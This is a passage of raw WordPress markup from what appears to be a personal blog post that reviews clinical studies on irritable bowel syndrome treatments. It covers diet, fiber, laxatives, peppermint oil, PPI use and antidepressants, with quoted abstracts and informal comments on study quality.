href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/low-fodmap-diet\">low-FODMAP diet</a>. All stools were collected from days 17–21 and assessed for frequency, weight, water content, and King\'s Stool Chart rating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects with IBS had lower overall gastrointestinal symptom scores (22.8; 95% confidence interval, 16.7–28.8 mm) while on a diet low in FODMAPs, compared with the Australian diet (44.9; 95% confidence interval, 36.6–53.1 mm; <em>P</em> &lt; .001) and the subjects\' habitual diet. Bloating, pain, and passage of wind also were reduced while IBS patients were on the low-FODMAP diet. Symptoms were minimal and unaltered by either diet among controls. Patients of all IBS subtypes had greater satisfaction with stool consistency while on the low-FODMAP diet, but diarrhea-predominant IBS was the only subtype with altered fecal frequency and King\'s Stool Chart scores.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Gluten free diet (in non celiac)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pretty good studies, but there’s not a big effect. All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\"><strong>A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Again, same meta review.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both selected patients that had already responded to a GFD, and then randomized them to continue the diet, or to have the diet “spiked” with gluten.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A GFD was associated with reduced global symptoms compared with a control diet (RR = 0.42; 95% CI 0.11 to 1.55; I2= 88%), although this was not statistically significant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/21224837/\">Gluten causes gastrointestinal symptoms in subjects without celiac disease: a double-blind randomized placebo-controlled trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Very skewed women:men ratio. This is “placebo controlled” with normal vs. gluten free muffins. It raises the question of whether the patients could tell the difference between the normal and gluten free muffins, which they probably could.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 34 patients (aged 29-59 years, 4 men) completed the study as per protocol. Overall, 56% had human leukocyte antigen (HLA)-DQ2 and/or HLA-DQ8. Adherence to diet and supplements was very high. Of 19 patients (68%) in the gluten group, 13 reported that symptoms were not adequately controlled compared with 6 of 15 (40%) on placebo (P=0.0001; generalized estimating equation). On a visual analog scale, patients were significantly worse with gluten within 1 week for overall symptoms (P=0.047), pain (P=0.016), bloating (P=0.031), satisfaction with stool consistency (P=0.024), and tiredness (P=0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/26056920/\">Non-Celiac Gluten Sensitivity Has Narrowed the Spectrum of Irritable Bowel Syndrome: A Double-Blind Randomized Placebo-Controlled Trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one is a better placebo because they gave them gluten packets, which would be harder to tell taste wise from gluten free powder. However, the graphs, which I copied below, are terrible and clearly show overlap between placebo and gluten. I’m not a huge fan of this study or how they presented their information, but there does seem to be some effect.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>. In the second stage after six weeks, patients whose symptoms improved to an acceptable level were randomly divided into two groups; patients either received packages containing powdered gluten (35 cases) or patients received placebo (gluten free powder) (37 cases). Overall, the symptomatic improvement was statistically different in the gluten-containing group compared with placebo group in 9 (25.7%), and 31 (83.8%) patients respectively (p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/OD_XoemmNqpSI_F36_qSnOdqcc9dfpkSZ712k2WQA5RFcrtzeSOnjIQpKS-NGm2n4cGVGEZJqODkglWbw7YHMlXMmaUMX9D0k6B4zVOCye3-DKq-lFEdYV4wPmPieqk-TxUXtTO7\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Fiber</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bran and insoluble fiber are probably not effective in any form of IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective. Linseed seems like it’s probably better. It’s hard to tell because the studies aren’t very good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over a max of 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2014.195\">Sci-Hub | The Effect of Fiber Supplementation on Irritable Bowel Syndrome: A Systematic Review and Meta-analysis | 10.1038/ajg.2014.195 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This meta analysis has a nice risk ratio graph, which is helpful for us. Note that all the results for bran span both sides of the line, so it’s unclear whether it works.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/O5sBs_qNktbfm4SuhbhzTpMtWB1fNef6bxCWLu4dyA9of6pwe3xHG3f07vmFj36ZKSZnNV08lvZZmaHWbraGqJK0cUM0AmUNXHOz-c73e94R-Te8-6N73phF4cDZiVmlxHFsLExQ\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Laxatives</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Laxatives work, but they may not prevent constipation, especially in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I didn’t feel like I had to really prove this one, to be honest. I got lazy.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://qualitysafety.bmj.com/content/10/4/268.short\">Effectiveness of laxatives in adults | BMJ Quality &amp; Safety</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bulk&nbsp; (fibre&nbsp; based)&nbsp; laxatives&nbsp; and&nbsp; osmotic</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>laxatives (including lactulose and PEG) are</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>associated with increases in frequency and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>improvements &nbsp; in &nbsp; stool &nbsp; consistency &nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>symptoms of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little evidence is available at present as to</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>the&nbsp; comparative&nbsp; effectiveness&nbsp; of&nbsp; bulk&nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>non-bulk laxatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There&nbsp; is&nbsp; no&nbsp; good&nbsp; evidence&nbsp; that&nbsp; laxatives</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>prevent constipation in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp; stepped&nbsp; approach&nbsp; to&nbsp; laxative&nbsp; treatment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>would seem justified, involving initial inter-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>vention with cheaper laxatives, before pro-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ceeding to the more expensive alternatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There is a pressing need for large compara-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>tive trials of diferent strategies for the man-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>agement&nbsp; of&nbsp; constipation&nbsp; in&nbsp; adults.&nbsp; This</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>should include comparisons of the effectiveness of diferent classes of laxative.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Research is also required into the effectiveness&nbsp; of&nbsp; overall&nbsp; dietary&nbsp; change&nbsp; (including increased&nbsp; fluid&nbsp; intake)&nbsp; in&nbsp; the&nbsp; treatment&nbsp; of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Anti spasmodics (dicylomine, peppermint oil, pinaverium, trimebutine)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD003460.pub3/full\">Bulking agents, antispasmodics and antidepressants for the treatment of irritable bowel syndrome - Ruepert, L - 2011 | Cochrane Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a Cochrane review paper. Cochrane is usually seen as the gold standard for reviews, although they’re often too strict.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Also, note that they reverse RR, so RR above 1 is good.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There was a beneficial effect for antispasmodics over placebo for improvement of abdominal pain (58% of antispasmodic patients improved compared to 46% of placebo; 13 studies; 1392 patients; RR 1.32; 95% CI 1.12 to 1.55; P &lt; 0.001; NNT = 7), global assessment (57% of antispasmodic patients improved compared to 39% of placebo; 22 studies; 1983 patients; RR 1.49; 95% CI 1.25 to 1.77; P &lt; 0.0001; NNT = 5) and symptom score (37% of antispasmodic patients improved compared to 22% of placebo; 4 studies; 586 patients; RR 1.86; 95% CI 1.26 to 2.76; P &lt; 0.01; NNT = 3). Subgroup analyses for different types of antispasmodics found statistically significant benefits for cimteropium/ dicyclomine, peppermint oil, pinaverium and trimebutine. Separate analysis of the studies with adequate allocation concealment found a significant benefit for improvement of abdominal pain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/BkdShau5oAp6vd8zGdnHTfzVSVH6hPYiyRI5-OEWbDr43a1UPFSnj_WpZS1dVWT-w9k39ydZ3KeVsKndvc6XOLssQ_1bl3YZObV3WWH6O8gBMdVYbDpEwhN1owUpUgwQHxNwUD_8\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1590865807000618\">Peppermint oil (Mintoil®) in the treatment of irritable bowel syndrome: A prospective double blind placebo-controlled randomized trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I wanted to look at peppermint oil specifically because that’s what I used to use. It works well according to this study, although note that there’s a rebound between 4 to 8 weeks.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fifty-seven patients with irritable bowel syndrome according to the Rome II criteria, with normal lactose and lactulose breath tests and negative antibody screening for celiac disease, were treated with peppermint oil (two enteric-coated capsules twice per day or placebo) for 4 weeks in a double blind study. The symptoms were assessed before therapy (T0), after the first 4 weeks of therapy (T4) and 4 weeks after the end of therapy (T8).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At T4, 75% of the patients in the peppermint oil group showed a &gt;50% reduction of basal (T0) total irritable bowel syndrome symptoms score compared with 38% in the placebo group (P &lt; 0.009). With peppermint oil at T4 and at T8 compared with T0 a statistically significant reduction of the total irritable bowel syndrome symptoms score was found (T0: 2.19 ± 0.13, T4: 1.07 ± 0.10*, T8: 1.60 ± 0.10*, *P &lt; 0.01 compared with T0, mean ± S.E.M.), while no change was found with the placebo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.minervamedica.it/en/journals/gazzetta-medica-italiana/article.php?cod=R22Y2005N02A0119\">Efficacy of peppermint oil in the treatment of irritable bowel syndrome: a randomized, controlled trial - Gazzetta Medica Italiana Archivio per le Scienze Mediche 2005 April;164(2):119-26 - Minerva Medica - Journals</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Another study showing an effect of peppermint oil, but I wonder if there was a rebound here, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We enrolled 178 consecutive patients affected by IBS, according to the Rome II diagnostic criteria. They were randomized by computer-generated lists to receive either Mintoil 2 capsules t.i.d. before meals for 3 months, or a placebo. A validated questionnaire was administered every 3 weeks to measure the outcome. Data were analysed by χ2 test.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results. Ninety-one patients (22 M, 69 F; mean age 41 yrs; range 18-72 yrs) received Mintoil, and 87 patients (23 M, 64 F; mean age 44 yrs; range 21-74 yrs) assumed the placebo. Three patients withdrew from the study because of non IBS-related diseases, and two patients because of pyrosis. No other adverse events were recorded.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Peppermint oil, compared to placebo, improved IBS overall symptoms in 73/91 (80%) vs 31/87 (36%) patients (p&lt;0.02). Particularly, significant improvements were achieved for gastroenteric symptoms, in 88/91 (97%) vs 29/87 (33%) patients (p&lt;0.01), psychical discomfort, in 34/91 (37%) vs 16/87 (18%) patients (p&lt;0.05), and socio-familiar impact, in 69/91 (76%) vs 37/87 (43%) patients (p&lt;0.04).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>Discontinuation of proton pump inhibitors</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This isn’t really an IBS one, but PPIs do lead to SIBO. Discontinuing them may help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1365-2362.2010.02419.x\">Effects of long‐term PPI treatment on producing bowel symptoms and SIBO - Compare - 2011 - European Journal of Clinical Investigation - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I only really wanted one study for this, because it’s pretty well known, but here you go. They gave patients PPI and accidentally gave them IBS. The other patients who weren’t given PPI didn’t get IBS.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Methods Patients with NERD (acid reflux) not complaining of bowel symptoms were selected by upper endoscopy, 24‐h pH‐metry and a structured questionnaire concerning severity and frequency of bloating, flatulence, abdominal pain, diarrhoea and constipation. Patients were treated with esomeprazole 20 mg bid for 6 months. Prior to and after 8 weeks and 6 months of therapy, patients received the structured questionnaire and underwent evaluation of SIBO by glucose hydrogen breath test (GHBT).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results Forty‐two patients with NERD were selected out of 554 eligible patients. After 8 weeks of PPI treatment, patients complained of bloating, flatulence, abdominal pain and diarrhoea in 43%, 17%, 7% and 2%, respectively. After 6 months, the incidence of bowel symptoms further increased and GHBT (glucose hydrogen breath test) was found positive in 11/42 (26%) patients. By a post hoc analysis, a significant (P &lt; 0·05) percentage of patients (8/42) met Rome III criteria for irritable bowel syndrome.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Antidepressants</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Antidepressants probably make you feel better if you have IBS, in the same way that therapy would. They don’t have any other effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/ajg/Abstract/2004/05000/Paroxetine_to_Treat_Irritable_Bowel_Syndrome_Not.27.aspx\"><strong>Paroxetine to Treat Irritable Bowel Syndrome Not Responding... : Official journal of the American College of Gastroenterology | ACG (lww.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that well-being improves with paroxetine, which is an antidepressant, but specific IBS related symptoms do not.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In Group 2, overall well-being improved more with paroxetine than with placebo (63.3%vs 26.3%; p = 0.01), but abdominal pain, bloating, and social functioning did not. With paroxetine, food avoidance decreased (p = 0.03) and work functioning was marginally better (p = 0.08). Before unblinding, more paroxetine recipients than placebo recipients wanted to continue their study medication (84%vs 37%; p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528209181108\">The Effect of Trimipramine in Patients with the Irritable Bowel Syndrome: A Double-Blind Study: Scandinavian Journal of Gastroenterology: Vol 17, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one shows that trimipramine helps when given a bedtime, for both IBS scores and quality of life. However, I’m not entirely sure what this study is measuring, because there’s a lot of vomiting in this study. IBS patients shouldn’t be vomiting.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;61 patients were given either 50 mg trimipramine at bedtime or identically looking coded placebo in a prospective study for 4 weeks. The complaints were graded on an analogue scale by both the patients and the physicians. The results showed that the complaint scores were significantly reduced to about half in the placebo group. In the group treated with trimipramine a significantly greater reduction was found for the scores of vomiting, sleeplessness, depression, and for the mucus content of stools. The scores for tiredness during treatment had decreased less in the group receiving trimipramine than in the one receiving placebo. These improvements occurred already during the first week of treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/4TbIAZAW-7T9BTfTM0AGL1OhXZWr1YZXApIxVEpelqmKt5Eol1FxXneuEGV4j7WjjsM7CYqmWMm8qHlFAIvoFHGkx1A_N4AJp0o6mUJC-Qzm6nVIdr-CXRj-q3SWrLnmt-jy0_dW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508503006693\">Cognitive-behavioral therapy versus education and desipramine versus placebo for moderate to severe functional bowel disorders - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a fun study which compared therapy vs. desipramine, which is an antidepressant. Therapy came out better than desipramine, desipramine came out kind of better than placebo but it’s hard to tell. This one breaks out the “intention to treat” vs. “per protocol”, which basically means that there were a lot of patients who they intended to treat but didn’t (i.e. they dropped out). Also, if you read between the lines, this sort of detailed “subgroup analysis”, where they try to get really specific about who would benefit from desipramine, is usually an attempt to rescue a study that went poorly so they have to find some benefit somewhere. Not a good study!</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intention-to-treat analysis</a> showed CBT as significantly more effective than EDU (<em>P</em> = 0.0001; responder rate, 70% CBT vs. 37% EDU; <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/numbers-needed-to-treat\">number needed to treat</a> [NNT ], 3.1). DES did not show significant benefit over PLA in the intention-to-treat analysis (<em>P</em> = 0.16; responder rate, 60% DES vs. 47% PLA; NNT, 8.1) but did show a statistically significant benefit in the per-protocol analysis (<em>P</em> = 0.01; responder rate, 73% DES vs. 49% PLA; NNT, 5.2), especially when participants with nondetectable blood levels of DES were excluded (<em>P</em> = 0.002). Improvement was best gauged by satisfaction with treatment. Subgroup analyses showed that DES was beneficial over PLA for moderate more than severe symptoms, abuse history, no depression, and diarrhea-predominant symptoms;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2008.03633.x\">Clinical trial: the effect of amitriptyline in patients with diarrhoea‐predominant irritable bowel syndrome - VAHEDI - 2008 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study seems to have a strong effect for low dose amitriptyline, and was overall a well performed study.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients were randomly assigned to receive either 10 mg amitriptyline daily or placebo. Subjects were followed up for 2 months and symptoms were assessed using a questionnaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients receiving amitriptyline showed greater complete response, defined as loss of all symptoms, compared with those receiving placebo (68% vs. 28%, <em>P</em> = 0.01).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/jj6ynhnua_NDKcZUNsJY0jfvSwAahDKfLjZX7sAeYtYs5DSjPQbkszEykIhvBDPLXNLIU9YghGdbxXLbDUW-SL0b_WpqW4cArud_Jgb5YNYY9I98QZySQ23TU_zNX5NKUyV_aXJx\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2721237/\">A randomized controlled trial of imipramine in patients with irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study has a remarkably high dropout rate, and it’s hard to even know what to think. Why did half the study leave?</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One hundred and seven patients were enrolled by advertisement or referral by general practitioners and 56 (31 imipramine: 25 placebo) completed the 16-wk study. Baseline characteristics were comparable. A high overall dropout rate was noted in the imipramine and placebo arms (47.5% <em>vs</em> 47.9%, <em>P</em> &gt; 0.05), a mean of 25.0 and 37.4 d from enrollment, respectively (<em>P</em> &lt; 0.05). At the end of 12 wk, there was a significant difference in global symptom relief with imipramine over placebo (per-protocol: 80.6% <em>vs</em> 48.0%, <em>P</em> = 0.01) and a trend on intent-to-treat (ITT) analysis (42.4% <em>vs</em> 25.0%, <em>P</em> = 0.06). This improvement was evident early and persisted to week 16 (<em>P</em> = 0.024 and 0.053 by per-protocol and ITT analyses, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0033318209707649\">A Double-Blind, Randomized, Placebo-Controlled Trial of Paroxetine Controlled-Release in Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study compared psychotherapy vs. paroxetine vs. routine care. Psychotherapy actually came out on top.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Seventy-two patients with IBS participated in a 12-week, double-blind, randomized, <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/placebo-controlled-study\">placebo-controlled study</a> of paroxetine-CR (12.5 mg–50 mg/day).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intent-to-treat</a> analyses, there were no significant differences between paroxetine-CR (N = 36) and placebo (N = 36) on reduction in Composite Pain Scores, although the proportion of responders on CGI–I was significantly higher in the paroxetine-CR group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients with severe IBS were randomly allocated to receive 8 sessions of individual psychotherapy, 20 mg daily of the specific serotonin reuptake inhibitor (SSRI) antidepressant, paroxetine, or routine care by a gastroenterologist and general practitioner.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both psychotherapy and paroxetine were superior to treatment as usual in improving the physical aspects of health-related quality of life (SF-36 physical component score improvement, 5.2 [SEM, 1.26], 5.8 [SEM, 1.0], and −0.3 [SEM, 1.17]; <em>P</em> &lt; 0.001), but there was no difference in the psychological component. During the follow-up year, psychotherapy but not paroxetine was associated with a significant reduction in health care costs compared with treatment as usual (psychotherapy, $976 [SD, $984]; paroxetine, $1252 [SD, $1616]; and treatment as usual, $1663 [SD, $3177]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1542356503700391\">The selective serotonin reuptake inhibitor fluoxetine does not change rectal sensitivity and symptoms in patients with irritable bowel syndrome: A double blind, randomized, placebo-controlled study - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study weirdly looked at rectal sensitivity as a measure, as well as pain. It showed fluoxetine helped with pain, but not with any IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Forty non-depressed IBS patients underwent a rectal <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/barostat\">barostat</a> study to assess the sensitivity to rectal distention before and after 6 weeks of treatment with fluoxetine 20 mg or placebo. Abdominal pain scores, individual <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/gastrointestinal-distress\">gastrointestinal symptoms</a>, global symptom relief, and psychologic symptoms were assessed before and after the intervention</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine did not significantly alter the threshold for discomfort/pain relative to placebo, either in hypersensitive (19 ± 3 vs. 22 ± 2 mm Hg above MDP) or in normosensitive (34 ± 2 vs. 39 ± 4 mm Hg above MDP) IBS patients. Overall, 53% of fluoxetine-treated patients and 76% of placebo-treated patients reported significant abdominal pain scores after 6 weeks (not significant). In contrast, in hypersensitive patients only, fluoxetine significantly reduced the number of patients reporting significant abdominal pain. Gastrointestinal symptoms, global symptom relief, and psychologic symptoms were not altered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/55/8/1095.short\">A controlled crossover study of the selective serotonin reuptake inhibitor citalopram in irritable bowel syndrome | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found an effect of citalopram on pain and bloating, but not really on IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twenty three non-depressed IBS patients were recruited from a tertiary care centre and included in a crossover trial comparing six weeks of treatment with the SSRI citalopram (20 mg for three weeks, 40 mg for three weeks) with placebo. IBS symptom severity was the primary outcome measure, and depression and anxiety scores were also measured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After three and six weeks of treatment, citalopram significantly improved abdominal pain, bloating, impact of symptoms on daily life, and overall well being compared with placebo. There was only a modest effect on stool pattern.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S154235650900891X\">Citalopram Provides Little or No Benefit in Nondepressed Patients With Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found no effect of citalopram.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients from primary, secondary, and tertiary care settings were randomly assigned to receive citalopram (20 mg/day for 4 weeks, then 40 mg/day for 4 weeks) or placebo in a study with double-masking and concealed allocation. Symptoms were assessed weekly, and IBS-QOL and rectal sensation by barostat were assessed at the beginning and end of the study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2005.02566.x\">The effect of fluoxetine in patients with pain and constipation‐predominant irritable bowel syndrome: a double‐blind randomized‐controlled study - VAHEDI - 2005 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found a big effect of fluoxetine on constipation, and seemed well-performed. They didn’t check if their patients were anxious or depressed, though.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine was significantly more effective than placebo in decreasing abdominal discomfort, relieving feeling and sense of bloating, increasing frequency of bowel movements and decreasing consistency of stool. Mean number of symptoms per patient decreased from 4.6 to 0.7 in the fluoxetine group vs. 4.5 to 2.9 in controls (<em>P</em> &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a 